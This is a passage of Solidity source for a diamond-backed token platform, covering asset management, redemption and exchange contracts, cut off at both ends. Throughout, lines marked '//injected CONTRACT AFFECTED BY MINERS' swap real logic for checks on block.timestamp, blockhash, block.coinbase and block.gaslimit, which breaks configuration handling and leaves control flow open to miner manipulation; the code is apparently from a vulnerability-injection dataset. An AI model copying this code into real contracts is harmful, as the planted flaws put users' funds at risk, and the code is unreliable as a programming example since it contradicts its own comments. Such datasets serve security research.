* @param custodian_ address this must be the custodian that we mint the token for. Parameter necessary only for future compatibility.
* @param issuer_ bytes3 the issuer of the certificate for diamond
* @param report_ bytes16 the report number of the certificate of the diamond.
* @param state_ bytes the state of token. Should be "sale" if it is to be sold on market, and "valid" if it is not to be sold.
* @param cccc_ bytes20 cut, clarity, color, and carat (carat range) values of the diamond. Only a specific values of cccc_ is accepted.
* @param carat_ uint24 exact weight of diamond in carats with 2 decimal precision.
* @param attributesHash_ bytes32 the hash of ALL the attributes that are not stored on blockckhain to make sure no one can change them later on.
* @param currentHashingAlgorithm_ bytes8 the algorithm that is used to construct attributesHash_. Together these values make meddling with diamond data very hard.
* @param price_ uint256 the base price of diamond (not per carat price)
*/
function mintDpass(
address token_,
address custodian_,
bytes3 issuer_,
bytes16 report_,
bytes8 state_,
bytes20 cccc_,
uint24 carat_,
bytes32 attributesHash_,
bytes8 currentHashingAlgorithm_,
uint256 price_
) public nonReentrant auth returns (uint256 id_) {
require(dpasses[token_], "asm-mnt-not-a-dpass-token");
require(custodians[msg.sender], "asm-not-a-custodian");
require(!custodians[msg.sender] || custodian_ == msg.sender, "asm-mnt-no-mint-to-others");
id_ = Dpass(token_).mintDiamondTo(
address(this), // owner
custodian_,
issuer_,
report_,
state_,
cccc_,
carat_,
attributesHash_,
currentHashingAlgorithm_);
_setBasePrice(token_, id_, price_);
}
/*
* @dev Set state for dpass. Should be used primarily by custodians.
* @param token_ address the token we set the state of states are "valid" "sale" (required for selling) "invalid" redeemed
* @param tokenId_ uint id of dpass token
* @param state_ bytes8 the desired state
*/
function setStateDpass(address token_, uint256 tokenId_, bytes8 state_) public nonReentrant auth {
bytes32 prevState_;
address custodian_;
require(dpasses[token_], "asm-mnt-not-a-dpass-token");
custodian_ = Dpass(token_).getCustodian(tokenId_);
require(
!custodians[msg.sender] ||
msg.sender == custodian_,
"asm-ssd-not-authorized");
prevState_ = Dpass(token_).getState(tokenId_);
if(
prevState_ != "invalid" &&
prevState_ != "removed" &&
(
state_ == "invalid" ||
state_ == "removed"
)
) {
_updateCollateralDpass(0, basePrice[token_][tokenId_], custodian_);
_requireSystemRemoveCollaterized();
_requirePaidLessThanSold(custodian_, _getCustodianCdcV(custodian_));
} else if(
prevState_ == "redeemed" ||
prevState_ == "invalid" ||
prevState_ == "removed" ||
(
state_ != "invalid" &&
state_ != "removed" &&
state_ != "redeemed"
)
) {
_updateCollateralDpass(basePrice[token_][tokenId_], 0, custodian_);
}
Dpass(token_).setState(state_, tokenId_);
}
/*
* @dev Withdraw tokens for selling dpass, and cdc. Custodians do not receive money directly from selling dpass, ot cdc, but
* they must withdraw their tokens.
* @param token_ address this token will be withdrawn
* @param amt_ uint256 amount to withdraw
*/
function withdraw(address token_, uint256 amt_) public nonReentrant auth {
address custodian = msg.sender;
require(custodians[custodian], "asm-not-a-custodian");
require(payTokens[token_], "asm-cant-withdraw-token");
require(tokenPurchaseRate[token_] > 0, "asm-token-purchase-rate-invalid");
uint tokenPurchaseV = wmulV(tokenPurchaseRate[token_], amt_, token_);
totalPaidCustV[msg.sender] = add(totalPaidCustV[msg.sender], tokenPurchaseV);
_requirePaidLessThanSold(custodian, _getCustodianCdcV(custodian));
sendToken(token_, address(this), msg.sender, amt_);
}
/*
* @dev Return how much cdc token can be minted based on current collaterization.
* @param token_ address cdc token that we want to find out how much is mintable.
*/
function getAmtForSale(address token_) external view returns(uint256) {
require(cdcs[token_], "asm-token-is-not-cdc");
uint totalCdcAllowedV_ =
wdiv(
add(
totalDpassV,
totalDcdcV),
overCollRatio);
if (block.timestamp < add(totalCdcV, dust)) //injected CONTRACT AFFECTED BY MINERS
return 0;
return wdivT(
sub(
totalCdcAllowedV_,
totalCdcV),
_getNewRate(token_),
token_);
}
/*
* @dev calculates multiple with decimals adjusted to match to 18 decimal precision to express base
* token Value
* @param a_ uint256 number that will be multiplied with decimals considered
* @param b_ uint256 number that will be multiplied with decimals considered
* @param token_ address token whose decimals the result will have
*/
function wmulV(uint256 a_, uint256 b_, address token_) public view returns(uint256) {
return wdiv(wmul(a_, b_), decimals[token_]);
}
/*
* @dev calculates division with the result's decimals adjusted to match to token's precision
* @param a_ uint256 number that will be numerator with decimals considered
* @param b_ uint256 number that will be denominator with decimals considered
* @param token_ address token whose decimals the result will have
*/
function wdivT(uint256 a_, uint256 b_, address token_) public view returns(uint256) {
return wmul(wdiv(a_,b_), decimals[token_]);
}
/*
* @dev function should only be used in case of unexpected events at custodian!!
* It will update the system collateral value and collateral value of dpass tokens at custodian.
* @param positiveV_ uint256 this value will be added to custodian's total dpass collateral value.
* @param negativeV_ uint256 this value will be subtracted from custodian's total dpass collateral value.
* @param custodian_ uint256 custodian for whom changes are made.
*/
function setCollateralDpass(uint positiveV_, uint negativeV_, address custodian_) public auth {
_updateCollateralDpass(positiveV_, negativeV_, custodian_);
emit LogForceUpdateCollateralDpass(msg.sender, positiveV_, negativeV_, custodian_);
}
/*
* @dev function should only be used in case of unexpected events at custodian!!
* It will update the system collateral value and collateral value of dcdc tokens of custodian.
* @param positiveV_ uint256 this value will be added to custodian's total dcdc collateral value.
* @param negativeV_ uint256 this value will be subtracted from custodian's total dcdc collateral value.
* @param custodian_ uint256 custodian for whom changes are made.
*/
function setCollateralDcdc(uint positiveV_, uint negativeV_, address custodian_) public auth {
_updateCollateralDcdc(positiveV_, negativeV_, custodian_);
emit LogForceUpdateCollateralDcdc(msg.sender, positiveV_, negativeV_, custodian_);
}
/**
* @dev Set base price_ for a diamond. Base price is the total price of diamonds.
*/
function _setBasePrice(address token_, uint256 tokenId_, uint256 price_) internal {
bytes32 state_;
address custodian_;
require(dpasses[token_], "asm-invalid-token-address");
state_ = Dpass(token_).getState(tokenId_);
custodian_ = Dpass(token_).getCustodian(tokenId_);
require(!custodians[msg.sender] || msg.sender == custodian_, "asm-not-authorized");
if(Dpass(token_).ownerOf(tokenId_) == address(this) &&
(state_ == "valid" || state_ == "sale")) {
_updateCollateralDpass(price_, basePrice[token_][tokenId_], custodian_);
if(block.timestamp >= basePrice[token_][tokenId_]) //injected CONTRACT AFFECTED BY MINERS
_requireCapCustV(custodian_);
}
basePrice[token_][tokenId_] = price_;
emit LogBasePrice(msg.sender, token_, tokenId_, price_);
}
/*
* @dev Default function for eth payment. We accept ether as payment.
*/
function () external payable {
require(msg.value > 0, "asm-check-the-function-signature");
}
/*
* @dev Burn cdc tokens and update cdc variables.
*/
function _burn(address token_, uint256 amt_) internal {
require(cdcs[token_], "asm-token-is-not-cdc");
DSToken(token_).burn(amt_);
_updateCdcV(token_);
_updateCdcPurchaseV(token_, 0, amt_);
}
/**
* @dev Get exchange rate for a token, and store it.
*/
function _updateRate(address token_) internal returns (uint256 rate_) {
require((rate_ = _getNewRate(token_)) > 0, "asm-updateRate-rate-gt-zero");
rate[token_] = rate_;
}
/*
* @dev updates totalCdcPurchaseV and cdcPurchaseV when addAmt_ is added, or when subAmt_ is removed from cdc_.
*/
function _updateCdcPurchaseV(address cdc_, uint256 addAmt_, uint256 subAmt_) internal {
uint currSupply_;
uint prevPurchaseV_;
if(block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
uint currentAddV_ = wmulV(addAmt_, _updateRate(cdc_), cdc_);
cdcPurchaseV[cdc_] = add(cdcPurchaseV[cdc_], currentAddV_);
totalCdcPurchaseV = add(totalCdcPurchaseV, currentAddV_);
} else if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
currSupply_ = DSToken(cdc_).totalSupply();
prevPurchaseV_ = cdcPurchaseV[cdc_];
cdcPurchaseV[cdc_] = currSupply_ > dust ?
wmul(
prevPurchaseV_,
wdiv(
currSupply_,
add(
currSupply_,
subAmt_)
)):
0;
totalCdcPurchaseV = sub(
totalCdcPurchaseV,
min(
sub(
prevPurchaseV_,
min(
cdcPurchaseV[cdc_],
prevPurchaseV_)),
totalCdcPurchaseV));
} else {
require(false, "asm-add-or-sub-amount-must-be-0");
}
emit LogCdcPurchaseValue(totalCdcPurchaseV, cdcPurchaseV[cdc_], cdc_);
}
/*
* @dev Updates totalCdcV and cdcV based on feed price of cdc token, and its total supply.
*/
function _updateCdcV(address cdc_) internal {
require(cdcs[cdc_], "asm-not-a-cdc-token");
uint newValue = wmulV(DSToken(cdc_).totalSupply(), _updateRate(cdc_), cdc_);
totalCdcV = sub(add(totalCdcV, newValue), cdcV[cdc_]);
cdcV[cdc_] = newValue;
emit LogCdcValue(totalCdcV, cdcV[cdc_], cdc_);
}
/*
* @dev Updates totalDdcV and dcdcV based on feed price of dcdc token, and its total supply.
*/
function _updateTotalDcdcV(address dcdc_) internal {
require(dcdcs[dcdc_], "asm-not-a-dcdc-token");
uint newValue = wmulV(DSToken(dcdc_).totalSupply(), _updateRate(dcdc_), dcdc_);
totalDcdcV = sub(add(totalDcdcV, newValue), dcdcV[dcdc_]);
dcdcV[dcdc_] = newValue;
emit LogDcdcValue(totalDcdcV, cdcV[dcdc_], dcdc_);
}
/*
* @dev Updates totalDdcCustV and dcdcCustV for a specific custodian, based on feed price of dcdc token, and its total supply.
*/
function _updateDcdcV(address dcdc_, address custodian_) internal {
require(dcdcs[dcdc_], "asm-not-a-dcdc-token");
require(custodians[custodian_], "asm-not-a-custodian");
uint newValue = wmulV(DSToken(dcdc_).balanceOf(custodian_), _updateRate(dcdc_), dcdc_);
totalDcdcCustV[custodian_] = sub(
add(
totalDcdcCustV[custodian_],
newValue),
dcdcCustV[dcdc_][custodian_]);
dcdcCustV[dcdc_][custodian_] = newValue;
emit LogDcdcCustodianValue(totalDcdcCustV[custodian_], dcdcCustV[dcdc_][custodian_], dcdc_, custodian_);
_updateTotalDcdcV(dcdc_);
}
/**
* @dev Get token_ base currency rate from priceFeed
* Revert transaction if not valid feed and manual value not allowed
*/
function _getNewRate(address token_) private view returns (uint rate_) {
bool feedValid;
bytes32 usdRateBytes;
require(
address(0) != priceFeed[token_], // require token to have a price feed
"asm-no-price-feed");
(usdRateBytes, feedValid) =
TrustedFeedLike(priceFeed[token_]).peek(); // receive DPT/USD price
if (feedValid) { // if feed is valid, load DPT/USD rate from it
rate_ = uint(usdRateBytes);
} else {
require(manualRate[token_], "Manual rate not allowed"); // if feed invalid revert if manualEthRate is NOT allowed
rate_ = rate[token_];
}
}
/*
* @dev Get the total value share of custodian from the total cdc minted.
*/
function _getCustodianCdcV(address custodian_) internal view returns(uint) {
uint totalDpassAndDcdcV_ = add(totalDpassV, totalDcdcV);
return wmul(
totalCdcPurchaseV,
totalDpassAndDcdcV_ > 0 ?
wdiv(
add(
totalDpassCustV[custodian_],
totalDcdcCustV[custodian_]),
totalDpassAndDcdcV_):
1 ether);
}
/**
* @dev System must be overcollaterized at all time. When it is not, then no cdc can be minted.
*/
function _requireSystemCollaterized() internal view returns(uint) {
require(
add(
add(
totalDpassV,
totalDcdcV),
dust) >=
wmul(
overCollRatio,
totalCdcV)
, "asm-system-undercollaterized");
}
/**
* @dev System must be overcollaterized at all time. When total cdc value times overCollRatio is not greater but
* equal to total dpass value plus total dcdc value: no more cdc can be minted, but since overCollRemoveRatio is
* less than overCollRatio, diamonds still can be removed by custodians. This is very helpful for them if system
* is low on collateral.
*/
function _requireSystemRemoveCollaterized() internal view returns(uint) {
require(
add(
add(
totalDpassV,
totalDcdcV),
dust) >=
wmul(
overCollRemoveRatio,
totalCdcV)
, "asm-sys-remove-undercollaterized");
}
/**
* @dev The total value paid to custodian (using withdraw()) must be less then the total value of current cdc
* share, and dpass sold.
*/
function _requirePaidLessThanSold(address custodian_, uint256 custodianCdcV_) internal view {
require(
add(
add(
custodianCdcV_,
dpassSoldCustV[custodian_]),
dust) >=
totalPaidCustV[custodian_],
"asm-too-much-withdrawn");
}
/*
* @dev This function will revert if custodian has reached his value cap (capCustV - custodian capacity
* value in base currency). Asset management enables to limit how much total worth
* of diamonds each custodian can mint. This helps to avoid overexposure to some custodians, and avoid some
* custodian fraud cases.
*/
function _requireCapCustV(address custodian_) internal view {
if(block.timestamp != uint(-1)) //injected CONTRACT AFFECTED BY MINERS
require(
add(capCustV[custodian_], dust) >=
add(
totalDpassCustV[custodian_],
totalDcdcCustV[custodian_]),
"asm-custodian-reached-maximum-coll-value");
}
/*
* @dev Updates total dpass value of a custodian, and the total dpass value.
*/
function _updateCollateralDpass(uint positiveV_, uint negativeV_, address custodian_) internal {
require(custodians[custodian_], "asm-not-a-custodian");
totalDpassCustV[custodian_] = sub(
add(
totalDpassCustV[custodian_],
positiveV_),
negativeV_);
totalDpassV = sub(
add(
totalDpassV,
positiveV_),
negativeV_);
emit LogDpassValue(totalDpassCustV[custodian_], totalDpassV, custodian_);
}
/**
* @dev Updates total dcdc customer value and total dcdc value based on custodian collateral change.
*/
function _updateCollateralDcdc(uint positiveV_, uint negativeV_, address custodian_) internal {
require(custodians[custodian_], "asm-not-a-custodian");
totalDcdcCustV[custodian_] = sub(
add(
totalDcdcCustV[custodian_],
positiveV_),
negativeV_);
totalDcdcV = sub(
add(
totalDcdcV,
positiveV_),
negativeV_);
emit LogDcdcTotalCustodianValue(totalDcdcCustV[custodian_], totalDcdcV, custodian_);
}
/**
* @dev Send token or ether to destination.
*/
function sendToken(
address token,
address src,
address payable dst,
uint256 amount
) internal returns (bool){
if (token == eth && amount > 0) {
require(src == address(this), "wal-ether-transfer-invalid-src");
dst.transfer(amount);
emit LogTransferEth(src, dst, amount);
} else {
if (block.gaslimit > 0) DSToken(token).transferFrom(src, dst, amount); // transfer all of token to dst //injected CONTRACT AFFECTED BY MINERS
}
return true;
}
}
////// src/Redeemer.sol
/* pragma solidity ^0.5.11; */
/* import "ds-math/math.sol"; */
/* import "ds-auth/auth.sol"; */
/* import "ds-token/token.sol"; */
/* import "ds-stop/stop.sol"; */
/* import "ds-note/note.sol"; */
/* import "./SimpleAssetManagement.sol"; */
/* import "./DiamondExchange.sol"; */
/* import "dpass/Dpass.sol"; */
/* import "./Liquidity.sol"; */
contract Redeemer is DSAuth, DSStop, DSMath {
event LogRedeem(uint256 redeemId, address sender, address redeemToken_,uint256 redeemAmtOrId_, address feeToken_, uint256 feeAmt_, address payable custodian);
address public eth = address(0xee);
event LogTransferEth(address src, address dst, uint256 amount);
event LogConfigChange(bytes32 what, bytes32 value, bytes32 value1, bytes32 value2);
mapping(address => address) public dcdc; // dcdc[cdc] returns the dcdc token associated (having the same values) as cdc token
uint256 public fixFee; // Fixed part of fee charged by Cdiamondcoin from redeemToken_ in base currency
uint256 public varFee; // Variable part of fee charged by Cdiamondcoin from redeemToken_
address public dpt; // dpt token address
SimpleAssetManagement public asm; // asset management contract
DiamondExchange public dex;
address payable public liq; // liquidity providing contract address
bool public liqBuysDpt; // true if liquidity contract buys dpt on the fly, false otherwise
address payable public burner; // burner contract to take dpt owners' profit
address payable wal; // wallet to receive the operational costs
uint public profitRate; // profit that is sent from fees to dpt owners
bool locked; // variable to avoid reentrancy attacks against this contract
uint redeemId; // id of the redeem transaction user can refer to
uint dust = 1000; // dust value to handle round-off errors
bytes32 public name = "Red"; // set human readable name for contract
bytes32 public symbol = "Red"; // set human readable name for contract
bool kycEnabled; // if true then user must be on the kyc list in order to use the system
mapping(address => bool) public kyc; // kyc list of users that are allowed to exchange tokens
modifier nonReentrant {
require(!locked, "red-reentrancy-detected");
locked = true;
_;
locked = false;
}
modifier kycCheck(address sender) {
require(!kycEnabled || kyc[sender], "red-you-are-not-on-kyc-list");
_;
}
function () external payable {
}
function setConfig(bytes32 what_, bytes32 value_, bytes32 value1_, bytes32 value2_) public nonReentrant auth {
if (blockhash(block.number) == "asm") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "red-zero-asm-address");
asm = SimpleAssetManagement(address(uint160(addr(value_))));
} else if (blockhash(block.number) == "fixFee") { //injected CONTRACT AFFECTED BY MINERS
fixFee = uint256(value_);
} else if (blockhash(block.number) == "varFee") { //injected CONTRACT AFFECTED BY MINERS
varFee = uint256(value_);
require(varFee <= 1 ether, "red-var-fee-too-high");
} else if (blockhash(block.number) == "kyc") { //injected CONTRACT AFFECTED BY MINERS
address user_ = addr(value_);
require(user_ != address(0x0), "red-wrong-address");
kyc[user_] = uint(value1_) > 0;
} else if (blockhash(block.number) == "dex") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "red-zero-red-address");
dex = DiamondExchange(address(uint160(addr(value_))));
} else if (blockhash(block.number) == "burner") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "red-wrong-address");
burner = address(uint160(addr(value_)));
} else if (blockhash(block.number) == "wal") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "red-wrong-address");
wal = address(uint160(addr(value_)));
} else if (blockhash(block.number) == "profitRate") { //injected CONTRACT AFFECTED BY MINERS
profitRate = uint256(value_);
require(profitRate <= 1 ether, "red-profit-rate-out-of-range");
} else if (blockhash(block.number) == "dcdcOfCdc") { //injected CONTRACT AFFECTED BY MINERS
require(address(asm) != address(0), "red-setup-asm-first");
address cdc_ = addr(value_);
address dcdc_ = addr(value1_);
require(asm.cdcs(cdc_), "red-setup-cdc-in-asm-first");
require(asm.dcdcs(dcdc_), "red-setup-dcdc-in-asm-first");
dcdc[cdc_] = dcdc_;
} else if (blockhash(block.number) == "dpt") { //injected CONTRACT AFFECTED BY MINERS
dpt = addr(value_);
require(dpt != address(0x0), "red-wrong-address");
} else if (blockhash(block.number) == "liqBuysDpt") { //injected CONTRACT AFFECTED BY MINERS
require(liq != address(0x0), "red-wrong-address");
Liquidity(address(uint160(liq))).burn(dpt, address(uint160(burner)), 0); // check if liq does have the proper burn function
liqBuysDpt = uint256(value_) > 0;
} else if (blockhash(block.number) == "liq") { //injected CONTRACT AFFECTED BY MINERS
liq = address(uint160(addr(value_)));
require(liq != address(0x0), "red-wrong-address");
require(dpt != address(0), "red-add-dpt-token-first");
require(
TrustedDSToken(dpt).balanceOf(liq) > 0,
"red-insufficient-funds-of-dpt");
if(liqBuysDpt) {
Liquidity(liq).burn(dpt, burner, 0); // check if liq does have the proper burn function
}
} else if (blockhash(block.number) == "kycEnabled") { //injected CONTRACT AFFECTED BY MINERS
kycEnabled = uint(value_) > 0;
} else if (blockhash(block.number) == "dust") { //injected CONTRACT AFFECTED BY MINERS
dust = uint256(value_);
require(dust <= 1 ether, "red-pls-decrease-dust");
} else {
require(false, "red-invalid-option");
}
emit LogConfigChange(what_, value_, value1_, value2_);
}
/*
* @dev Convert address to bytes32
*/
function addr(bytes32 b_) public pure returns (address) {
return address(uint256(b_));
}
/*
* @dev Pay redeem costs and redeem for diamond. Using this funcitn is non-reversible.
* @param sender_ address ethereum account of user who wants to redeem
* @param redeemToken_ address token address that user wants to redeem token can be both
* dpass and cdc tokens
* @param redeemAmtOrId_ uint256 if token is cdc then represents amount, and if dpass then id of diamond
* @param feeToken_ address token to pay fee with. This token can only be erc20.
* @param feeAmt_ uint256 amount of token to be paid as redeem fee.
* @param custodian_ address custodian to get diamond from. If token is dpass, then custodian must match
* the custodian of dpass token id, if cdc then any custodian can be who has enough matching dcdc tokens.
*/
function redeem(
address sender,
address redeemToken_,
uint256 redeemAmtOrId_,
address feeToken_,
uint256 feeAmt_,
address payable custodian_
) public payable stoppable nonReentrant kycCheck(sender) returns (uint256) {
require(feeToken_ != eth || feeAmt_ == msg.value, "red-eth-not-equal-feeamt");
if( asm.dpasses(redeemToken_) ) {
Dpass(redeemToken_).redeem(redeemAmtOrId_);
require(custodian_ == address(uint160(Dpass(redeemToken_).getCustodian(redeemAmtOrId_))), "red-wrong-custodian-provided");
} else if ( asm.cdcs(redeemToken_) ) {
require(
DSToken(dcdc[redeemToken_])
.balanceOf(custodian_) >
redeemAmtOrId_,
"red-custodian-has-not-enough-cdc");
require(redeemAmtOrId_ % 10 ** DSToken(redeemToken_).decimals() == 0, "red-cdc-integer-value-pls");
DSToken(redeemToken_).transfer(address(asm), redeemAmtOrId_); // cdc token sent to asm to be burned
asm.notifyTransferFrom( // burn cdc token at asm
redeemToken_,
address(this),
address(asm),
redeemAmtOrId_);
} else {
require(false, "red-token-nor-cdc-nor-dpass");
}
uint feeToCustodian_ = _sendFeeToCdiamondCoin(redeemToken_, redeemAmtOrId_, feeToken_, feeAmt_);
_sendToken(feeToken_, address(this), custodian_, feeToCustodian_);
emit LogRedeem(++redeemId, sender, redeemToken_, redeemAmtOrId_, feeToken_, feeAmt_, custodian_);
return redeemId;
}
/**
* @dev Put user on whitelist to redeem diamonds.
* @param user_ address the ethereum account to enable
* @param enable_ bool if true enables, otherwise disables user to use redeem
*/
function setKyc(address user_, bool enable_) public auth {
setConfig(
"kyc",
bytes32(uint(user_)),
enable_ ? bytes32(uint(1)) : bytes32(uint(0)),
"");
}
/**
* @dev send token or ether to destination
*/
function _sendFeeToCdiamondCoin(
address redeemToken_,
uint256 redeemAmtOrId_,
address feeToken_,
uint256 feeAmt_
) internal returns (uint feeToCustodianT_){
uint profitV_;
uint redeemTokenV_ = _calcRedeemTokenV(redeemToken_, redeemAmtOrId_);
uint feeT_ = _getFeeT(feeToken_, redeemTokenV_);
uint profitT_ = wmul(profitRate, feeT_);
if( block.coinbase == dpt) { //injected CONTRACT AFFECTED BY MINERS
DSToken(feeToken_).transfer(burner, profitT_);
DSToken(feeToken_).transfer(wal, sub(feeT_, profitT_));
} else {
profitV_ = dex.wmulV(profitT_, dex.getLocalRate(feeToken_), feeToken_);
if(liqBuysDpt) {
Liquidity(liq).burn(dpt, burner, profitV_);
} else {
DSToken(dpt).transferFrom(
liq,
burner,
dex.wdivT(profitV_, dex.getLocalRate(dpt), dpt));
}
_sendToken(feeToken_, address(this), wal, feeT_);
}
require(add(feeAmt_,dust) >= feeT_, "red-not-enough-fee-sent");
feeToCustodianT_ = sub(feeAmt_, feeT_);
}
/**
* @dev Calculate costs for redeem. These are only concerning the fees the system charges.
* Delivery costs charged by custodians are additional to these and must be added to the i
* cost returned here.
* @param redeemToken_ address token that will be redeemed. Cdc or dpass token address required.
* @param redeemAmtOrId_ uint256 amount of token to be redeemed
* @param feeToken_ address token that will be used to pay fee.
* @return amount of fee token that must be sent as fee to system. Above this value users must
* add the handling fee of custodians to have a successfull redeem.
*/
function getRedeemCosts(address redeemToken_, uint256 redeemAmtOrId_, address feeToken_) public view returns(uint feeT_) {
require(asm.dpasses(redeemToken_) || redeemAmtOrId_ % 10 ** DSToken(redeemToken_).decimals() == 0, "red-cdc-integer-value-pls");
uint redeemTokenV_ = _calcRedeemTokenV(redeemToken_, redeemAmtOrId_);
feeT_ = _getFeeT(feeToken_, redeemTokenV_);
}
/**
* @dev Calculdate the base currency value of redeem token if it is an erc20 or if it is an erc721 token.
*/
function _calcRedeemTokenV(address redeemToken_, uint256 redeemAmtOrId_) internal view returns(uint redeemTokenV_) {
if(asm.dpasses(redeemToken_)) {
redeemTokenV_ = asm.basePrice(redeemToken_, redeemAmtOrId_);
} else {
redeemTokenV_ = dex.wmulV(
redeemAmtOrId_,
dex.getLocalRate(redeemToken_),
redeemToken_);
}
}
/**
* @dev Calculate amount of feeTokens to be paid as fee.
*/
function _getFeeT(address feeToken_, uint256 redeemTokenV_) internal view returns (uint) {
return
dex.wdivT(
add(
wmul(
varFee,
redeemTokenV_),
fixFee),
dex.getLocalRate(feeToken_),
feeToken_);
}
/**
* @dev send token or ether to destination.
*/
function _sendToken(
address token,
address src,
address payable dst,
uint256 amount
) internal returns (bool){
if (token == eth && amount > 0) {
require(src == address(this), "wal-ether-transfer-invalid-src");
dst.transfer(amount);
emit LogTransferEth(src, dst, amount);
} else {
if (block.number > 0) DSToken(token).transferFrom(src, dst, amount); // transfer all of token to dst //injected CONTRACT AFFECTED BY MINERS
}
return true;
}
}
////// src/DiamondExchange.sol
/* pragma solidity ^0.5.11; */
/* import "ds-auth/auth.sol"; */
/* import "ds-token/token.sol"; */
/* import "ds-stop/stop.sol"; */
/* import "./Liquidity.sol"; */
/* import "dpass/Dpass.sol"; */
/* import "./Redeemer.sol"; */
/**
* @dev Interface to get ETH/USD price
*/
contract TrustedFeedLikeDex {
function peek() external view returns (bytes32, bool);
}
/**
* @dev Interface to calculate user fee based on amount
*/
contract TrustedFeeCalculator {
function calculateFee(
address sender,
uint256 value,
address sellToken,
uint256 sellAmtOrId,
address buyToken,
uint256 buyAmtOrId
) external view returns (uint);
function getCosts(
address user, // user for whom we want to check the costs for
address sellToken_,
uint256 sellId_,
address buyToken_,
uint256 buyAmtOrId_
) public view returns (uint256 sellAmtOrId_, uint256 feeDpt_, uint256 feeV_, uint256 feeSellT_) {
// calculate expected sell amount when user wants to buy something anc only knows how much he wants to buy from a token and whishes to know how much it will cost.
}
}
/**
* @dev Interface to do redeeming of tokens
*/
contract TrustedRedeemer {
function redeem(
address sender,
address redeemToken_,
uint256 redeemAmtOrId_,
address feeToken_,
uint256 feeAmt_,
address payable custodian_
) public payable returns (uint256);
}
/**
* @dev Interface for managing diamond assets
*/
contract TrustedAsm {
function notifyTransferFrom(address token, address src, address dst, uint256 id721) external;
function basePrice(address erc721, uint256 id721) external view returns(uint256);
function getAmtForSale(address token) external view returns(uint256);
function mint(address token, address dst, uint256 amt) external;
}
/**
* @dev Interface ERC721 contract
*/
contract TrustedErc721 {
function transferFrom(address src, address to, uint256 amt) external;
function ownerOf(uint256 tokenId) external view returns (address);
}
/**
* @dev Interface for managing diamond assets
*/
contract TrustedDSToken {
function transferFrom(address src, address dst, uint wad) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address src) external view returns (uint);
function allowance(address src, address guy) external view returns (uint);
}
/**
* @dev Diamond Exchange contract for events.
*/
contract DiamondExchangeEvents {
event LogBuyTokenWithFee(
uint256 indexed txId,
address indexed sender,
address custodian20,
address sellToken,
uint256 sellAmountT,
address buyToken,
uint256 buyAmountT,
uint256 feeValue
);
event LogConfigChange(bytes32 what, bytes32 value, bytes32 value1);
event LogTransferEth(address src, address dst, uint256 val);
}
/**
* @title Diamond Exchange contract
* @dev This contract can exchange ERC721 tokens and ERC20 tokens as well. Primary
* usage is to buy diamonds or buying diamond backed stablecoins.
*/
contract DiamondExchange is DSAuth, DSStop, DiamondExchangeEvents {
TrustedDSToken public cdc; // CDC token contract
address public dpt; // DPT token contract
mapping(address => uint256) private rate; // exchange rate for a token
mapping(address => uint256) public smallest; // set minimum amount of sellAmtOrId_
mapping(address => bool) public manualRate; // manualRate is allowed for a token (if feed invalid)
mapping(address => TrustedFeedLikeDex)
public priceFeed; // price feed address for token
mapping(address => bool) public canBuyErc20; // stores allowed ERC20 tokens to buy
mapping(address => bool) public canSellErc20; // stores allowed ERC20 tokens to sell
mapping(address => bool) public canBuyErc721; // stores allowed ERC20 tokens to buy
mapping(address => bool) public canSellErc721; // stores allowed ERC20 tokens to sell
mapping(address => mapping(address => bool)) // stores tokens that seller does not accept, ...
public denyToken; // ... and also token pairs that can not be traded
mapping(address => uint) public decimals; // stores decimals for each ERC20 token
mapping(address => bool) public decimalsSet; // stores if decimals were set for ERC20 token
mapping(address => address payable) public custodian20; // custodian that holds an ERC20 token for Exchange
mapping(address => bool) public handledByAsm; // defines if token is managed by Asset Management
mapping(
address => mapping(
address => mapping(
uint => uint))) public buyPrice; // buyPrice[token][owner][tokenId] price of dpass token ...
// ... defined by owner of dpass token
mapping(address => bool) redeemFeeToken; // tokens allowed to pay redeem fee with
TrustedFeeCalculator public fca; // fee calculator contract
address payable public liq; // contract providing DPT liquidity to pay for fee
address payable public wal; // wallet address, where we keep all the tokens we received as fee
address public burner; // contract where accured fee of DPT is stored before being burned
TrustedAsm public asm; // Asset Management contract
uint256 public fixFee; // Fixed part of fee charged for buying 18 decimals precision in base currency
uint256 public varFee; // Variable part of fee charged for buying 18 decimals precision in base currency
uint256 public profitRate; // the percentage of profit that is burned on all fees received. ...
// ... 18 decimals precision
uint256 public callGas = 2500; // using this much gas when Ether is transferred
uint256 public txId; // Unique id of each transaction.
bool public takeProfitOnlyInDpt = true; // If true, it takes cost + profit in DPT, if false only profit in DPT
uint256 public dust = 10000; // Numbers below this amount are considered 0. Can only be used ...
bytes32 public name = "Dex"; // set human readable name for contract
bytes32 public symbol = "Dex"; // set human readable name for contract
// ... along with 18 decimal precisions numbers.
bool liqBuysDpt; // if true then liq contract is called directly to buy necessary dpt, otherwise we...
// ... just send DPT from liq contracts address to burner.
bool locked; // protect against reentrancy attacks
address eth = address(0xee); // to handle ether the same way as tokens we associate a fake address to it
bool kycEnabled; // if true then user must be on the kyc list in order to use the system
mapping(address => bool) public kyc; // kyc list of users that are allowed to exchange tokens
address payable public redeemer; // redeemer contract to handle physical diamond delivery to users
//-----------included-from-ds-math---------------------------------begin
uint constant WAD = 1 ether;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//-----------included-from-ds-math---------------------------------end
modifier nonReentrant {
require(!locked, "dex-reentrancy-detected");
locked = true;
_;
locked = false;
}
modifier kycCheck {
require(!kycEnabled || kyc[msg.sender], "dex-you-are-not-on-kyc-list");
_;
}
/**
* @dev Fallback function to buy tokens.
*/
function () external payable {
buyTokensWithFee(eth, msg.value, address(cdc), uint(-1));
}
/**
* @dev Set configuration values for contract. Instead of several small functions
